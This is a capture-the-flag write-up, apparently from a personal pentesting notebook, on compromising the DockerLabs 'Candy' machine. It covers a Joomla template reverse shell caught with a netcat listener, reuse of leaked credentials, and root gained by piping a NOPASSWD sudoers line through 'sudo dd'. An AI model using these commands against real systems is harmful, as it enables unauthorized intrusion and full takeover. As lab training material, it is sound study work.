> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/candy.md). # Candy ## 1 - Reconnaissance We begin with a fast Nmap scan to identify open ports: `nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5` **Result: port 80 is open** ## 2 - Enumeration Now we run a service/version detection scan, targeting only the open ports we found on the previous scan: `nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`: ``` ffuf-dir () { ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt } ``` we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

Browsing all we found some credentials on robots.txt: `admin:c2FubHVpczEyMzQ1`. We tried to login with that password, but it was wrong. Passing it to CyberChef will decode it from Base64 and output `sanluis12345`. Logging into /administrator will show us a Joomla admin tab, where we could upload a reverse shell into a post, and browsing the main page will activate it. ## 3 - Exploitation At this point, it's a common Joomla exploitation. Browsing into Site Templates, we will modify index.php to include a reverse shell, for example, the PentestMonkey one. When we browse index.php, our revshell will be spawned, and we'll get it with `nc -lvnp 3110`.

We will upgrade the reverse shell to a fully interactive shell using Python. First we will run `which python python2 python3` to know the version that the server is running. After it, we see that the server is running python3, so we execute this command: ``` python3 -c 'import pty;pty.spawn("/bin/bash")'; ``` Now we will send temporarily our shell to the background with `CTRL+Z` and we will run: `stty raw -echo;stty size;fg` That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this: `export SHELL=kitty stty rows 46 columns 207 export TERM=xterm-256color` Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one. ## 4 - Privilege Escalation We can't run `sudo -l` since we don't have `www-data` password, and there isn't any binary with SUID set, so we ran: ``` find / -type f -name "*.txt" 2>/dev/null ``` We found `var/backups/hidden/otro_caramelo.txt` containing DB credentials:

We can't connect to the database, but we found out that password is also used by `luisillo` on the local machine. With `su luisillo` we move horizontally to him. Running `sudo -l` on him will show he has sudo permissions as root on `/usr/bin/dd`, so running: ``` echo "luisillo ALL=(ALL) NOPASSWD:ALL" | sudo dd of=/etc/sudoers ``` will grant us sudo permissions as `root` on any binary without asking for a password. Running `sudo /bin/bash` will spawn a root shell.

## 5 - Summary Directory enumeration revealed credentials in `/robots.txt`. After decoding the Base64 string, we logged into Joomla’s `/administrator` panel as `admin`. **Exploitation:**\ Uploaded a PHP reverse shell through Joomla template modification (index.php), spawning a shell as `www-data`. **Privilege Escalation:**\ Found DB credentials in `/var/backups/hidden/otro_caramelo.txt`, reused by local user `luisillo`. Switching to `luisillo`, we abused sudo rights on `/usr/bin/dd` to overwrite `/etc/sudoers` and gained full root privileges.